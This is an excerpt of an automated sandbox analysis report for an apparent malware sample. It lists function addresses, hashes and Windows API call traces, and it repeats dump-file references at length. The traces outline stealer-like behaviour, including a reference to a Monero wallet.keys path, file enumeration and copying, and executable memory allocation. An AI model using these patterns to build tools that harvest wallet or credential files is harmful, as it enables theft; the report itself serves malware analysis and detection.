Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: b38f663312654e122c7cf17e7e04f3d96fa31afac1e17893ba934dc667a6a3d6
Instruction ID: f500954318e44b03ed36d5e2b022aa110c1ed8f394d4de2db468047c9dc070cc
Opcode Fuzzy Hash: b38f663312654e122c7cf17e7e04f3d96fa31afac1e17893ba934dc667a6a3d6
Instruction Fuzzy Hash: 2E9105B191010C9BDB14FBA0DC95DFE7338BF64341FC04169F60AA6091EF786A19CBA6

Function 001EB230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,01438AF0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

lstrlen.KERNEL32(00000000), ref: 001EB42E
lstrlen.KERNEL32(00000000), ref: 001EB442

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: d34f7045fae5c20ee8377ca43bb7ddb54a3604353ca8cd91383160d89807a80f
Instruction ID: 920743d298f40883f1445d612221665d43f662bd12a4a8d28c58e37188cfef9d
Opcode Fuzzy Hash: d34f7045fae5c20ee8377ca43bb7ddb54a3604353ca8cd91383160d89807a80f
Instruction Fuzzy Hash: E17114B191010C9BDB14FBA0DC96DFE7378BF64340F844528F60AA7091EF786A19CB62

Function 001F4BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 001F8E0B

lstrcat.KERNEL32(?,00000000), ref: 001F4BEA
lstrcat.KERNEL32(?,0143D638), ref: 001F4C08

Part of subcall function 001F4910: wsprintfA.USER32 ref: 001F492C
Part of subcall function 001F4910: FindFirstFileA.KERNEL32(?,?), ref: 001F4943

Part of subcall function 001F4910: StrCmpCA.SHLWAPI(?,00200FDC), ref: 001F4971
Part of subcall function 001F4910: StrCmpCA.SHLWAPI(?,00200FE0), ref: 001F4987
Part of subcall function 001F4910: FindNextFileA.KERNEL32(000000FF,?), ref: 001F4B7D
Part of subcall function 001F4910: FindClose.KERNEL32(000000FF), ref: 001F4B92

Part of subcall function 001F4910: wsprintfA.USER32 ref: 001F49B0
Part of subcall function 001F4910: StrCmpCA.SHLWAPI(?,002008D2), ref: 001F49C5
Part of subcall function 001F4910: wsprintfA.USER32 ref: 001F49E2
Part of subcall function 001F4910: PathMatchSpecA.SHLWAPI(?,?), ref: 001F4A1E
Part of subcall function 001F4910: lstrcat.KERNEL32(?,0143E5A0), ref: 001F4A4A
Part of subcall function 001F4910: lstrcat.KERNEL32(?,00200FF8), ref: 001F4A5C
Part of subcall function 001F4910: lstrcat.KERNEL32(?,?), ref: 001F4A70
Part of subcall function 001F4910: lstrcat.KERNEL32(?,00200FFC), ref: 001F4A82
Part of subcall function 001F4910: lstrcat.KERNEL32(?,?), ref: 001F4A96
Part of subcall function 001F4910: CopyFileA.KERNEL32(?,?,00000001), ref: 001F4AAC
Part of subcall function 001F4910: DeleteFileA.KERNEL32(?), ref: 001F4B31

Part of subcall function 001F4910: wsprintfA.USER32 ref: 001F4A07

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: fba2b4e47860ef2d6b24b7a87b5f4fcc2cfd2348bd0d460f13270c4b1f1bdfaf
Instruction ID: 4554dc8d4b3ac5c06c7a0b81f8ad0d250d7b66acd2dc96adcf897e36862549a0
Opcode Fuzzy Hash: fba2b4e47860ef2d6b24b7a87b5f4fcc2cfd2348bd0d460f13270c4b1f1bdfaf
Instruction Fuzzy Hash: 5F41F9B76002086BD764F7A0EC42EFE333DAB99300F40855CBA4957186EE755B9D8B92

Function 001E6660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 001E6706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 001E6753

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9512800723022b8ba716252611fa0659e15e72c24a3b9870ff9fc915d0f24c3b
Instruction ID: 0373decb088b462db6bc91459f1ee44fa97d5fe9fdab108d53291e55a6926b2c
Opcode Fuzzy Hash: 9512800723022b8ba716252611fa0659e15e72c24a3b9870ff9fc915d0f24c3b
Instruction Fuzzy Hash: AE41EB74A00209EFCB44CF59C494BADBBB1FF58354F6482A9E9599B345C731EA81CF84

Function 001F5050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 001F8E0B

lstrcat.KERNEL32(?,00000000), ref: 001F508A
lstrcat.KERNEL32(?,0143DD30), ref: 001F50A8

Part of subcall function 001F4910: wsprintfA.USER32 ref: 001F492C
Part of subcall function 001F4910: FindFirstFileA.KERNEL32(?,?), ref: 001F4943

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 2f30c672df7f294dfb7ae3877e8342389925af4956c28927a5d6287d76550544
Instruction ID: 461e65d8f34db16b708eb99843bfbdff506c0b1508e331aa1e308cffbfdf911c
Opcode Fuzzy Hash: 2f30c672df7f294dfb7ae3877e8342389925af4956c28927a5d6287d76550544
Instruction Fuzzy Hash: 6B019B76A0020C67CB64FB70DC42EFE733CAF64300F404594BB4A56191EFB49A998BE2

Function 001E10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 001E10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 001E10F7

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 3a005768b443c9b798bc4c14c27981709931d293206626f080160cedd4f6969d
Instruction ID: f39fb7ba06fd292d02e3737113dbb2f52d6e0ba1f9c456714b1421221d5c01ae
Opcode Fuzzy Hash: 3a005768b443c9b798bc4c14c27981709931d293206626f080160cedd4f6969d
Instruction Fuzzy Hash: CFF02771641308BBEB14ABA4AC49FBFB7ECE705B15F300458FA04E3280D6719F40CAA4

Function 001F8D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,001E1B54,?,?,0020564C,?,?,00200E1F), ref: 001F8D9F

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 74b371a7bb3426663a475039dd577a21fc19019559533ea30058884d3153536c
Instruction ID: 95ee926593a867befb3ca4f81b743071b6f83ab168dbc2927e3d0035d1162f61
Opcode Fuzzy Hash: 74b371a7bb3426663a475039dd577a21fc19019559533ea30058884d3153536c
Instruction Fuzzy Hash: 19F01570C0020CEBCB04EFA4D5496ECBB74EF10310F508199E92A672C0DB749A5ADB81

Function 001F8DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 001F8E0B

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 1b908f3276e6ddb616871cb89c77753e32aabdd6294c462c47fa19ec02ce2917
Instruction ID: 9355b1957713c84916dddae6e887af2a623654c8575943b94ab47244fecfb12b
Opcode Fuzzy Hash: 1b908f3276e6ddb616871cb89c77753e32aabdd6294c462c47fa19ec02ce2917
Instruction Fuzzy Hash: A5E01A71A4034CABDB91EB90CC96FAE737CAB44B01F404295BA0C5A1C0DE70AB868B91

Function 001E1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 001F78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 001F7910
Part of subcall function 001F78E0: RtlAllocateHeap.NTDLL(00000000), ref: 001F7917
